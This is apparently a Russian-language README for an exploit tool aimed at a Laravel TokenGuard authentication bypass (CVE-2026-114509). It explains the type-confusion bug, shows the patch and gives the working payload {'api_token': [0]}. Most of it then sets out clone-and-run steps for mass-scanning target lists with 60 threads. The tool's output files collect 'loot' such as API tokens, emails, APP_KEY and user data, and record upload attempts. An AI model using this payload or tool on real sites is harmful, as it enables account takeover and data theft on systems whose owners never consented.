
Обход аутентификации Laravel TokenGuard через нестроковые учётные данные API
Обход аутентификации Laravel TokenGuard через нестроковые учётные данные API
Обход аутентификации без аутентификации в Laravel Framework — API-гард TokenGuard
CVE-2026-114509 — это критическая уязвимость обхода аутентификации во встроенном TokenGuard Laravel Framework.
При конфигурации со стандартным API-гардом на основе токенов на MySQL или MariaDB неаутентифицированный атакующий может отправить специально сформированные нестроковые учётные данные (JSON-массив), что приводит к тому, что при поиске аутентификации совпадает непредусмотренный существующий пользователь — предоставляя полный доступ без знания какого-либо действительного API-токена.
Это приводит к полному захвату учётной записи на любом маршруте, защищённом уязвимым гардом.
| Поле | Сведения |
|---|---|
| CVE ID | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| Уязвимое ПО | Laravel Framework (laravel/framework) |
| Уязвимые версии | < 12.68.0 и >= 13.0.0, < 13.29.0 |
| Тип | Обход аутентификации |
| CWE | CWE-287 — Некорректная аутентификация |
| CWE | CWE-1287 — Некорректная проверка указанного типа входных данных |
| Оценка CVSS 4.0 | 9.2 / 10 — КРИТИЧЕСКАЯ |
| Вектор CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Аутентификация | Не требуется (Pre-Auth) |
| Условие | Бэкенд MySQL / MariaDB |
| Патч | v12.68.0 / v13.29.0 |
| Метрика | Значение | Значение |
|---|---|---|
| Вектор атаки | Сетевой | Эксплуатируется удалённо через интернет |
| Сложность атаки | Низкая | Никаких особых условий, кроме MySQL/MariaDB |
| Требования к атаке | Присутствуют | Требуется поведение приведения типов MySQL/MariaDB |
| Требуемые привилегии | Отсутствуют | Аутентификация не требуется |
| Взаимодействие с пользователем | Отсутствует | Действия жертвы не требуются |
| Конфиденциальность | Высокая | Полный доступ на чтение данных аутентифицированного пользователя |
| Целостность | Высокая | Может изменять данные от имени обойдённого пользователя |
| Доступность | Высокая | Может нарушить работу сервиса через захват учётной записи |
Это ошибка путаницы типов на границе между разбором HTTP-запроса, логикой PHP-фреймворка и поведением SQL-базы данных. Три обычных поведения складываются, создавая уязвимость:
TokenGuard принимает нестроковый ввод — Метод user() в TokenGuard.php использует !empty($token) вместо is_string($token) && !empty($token). Тела JSON-запросов могут передавать массивы или целые числа в качестве значения токена.
EloquentUserProvider строит запрос WHERE IN — Когда retrieveByCredentials() получает значение-массив, он генерирует WHERE api_token IN (...) вместо WHERE api_token = ....
Приведение типов MySQL — MySQL преобразует строковые столбцы в числа для сравнения. Целое число 0 совпадает с любой строкой, которая не начинается с цифры (а это большинство API-токенов), поскольку MySQL приводит такие строки к 0.0.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel исправил TokenGuard.php, добавив проверку типа — если токен не является строкой, guard немедленно возвращает null и никогда не вызывает провайдер пользователей:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
Инструмент поддерживает два режима: массовое сканирование и глубокое зондирование одной цели.
Сканирование списка целей на наличие уязвимости:
python CVE-2026-114509.py scan targets.txt
Параметры:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| Флаг | По умолчанию | Описание |
|---|---|---|
targets | (обязательно) | Файл с целевыми URL (по одному в строке) |
--threads | 60 | Количество параллельных потоков |
--timeout | 12 | Тайм-аут запроса в секундах |
Формат файла целей (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
Цели без указания схемы по умолчанию используют
https://.
Выходные файлы (создаются в каталоге скрипта):
| Файл | Содержимое |
|---|---|
LV_DETECTED.txt | Все обнаруженные приложения Laravel |
LV_BYPASS.txt | Подтверждённые обходы аутентификации |
LV_UPLOAD.txt | Результаты попыток загрузки |
LV_LOOT.txt | Извлечённые данные (токены, email-адреса, APP_KEY, данные пользователей) |
Глубокое зондирование одной цели с подробным выводом:
python CVE-2026-114509.py single https://target.com
Параметры:
python CVE-2026-114509.py single https://target.com --timeout 15
Он последовательно выполняет все четыре фазы с подробным выводом:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401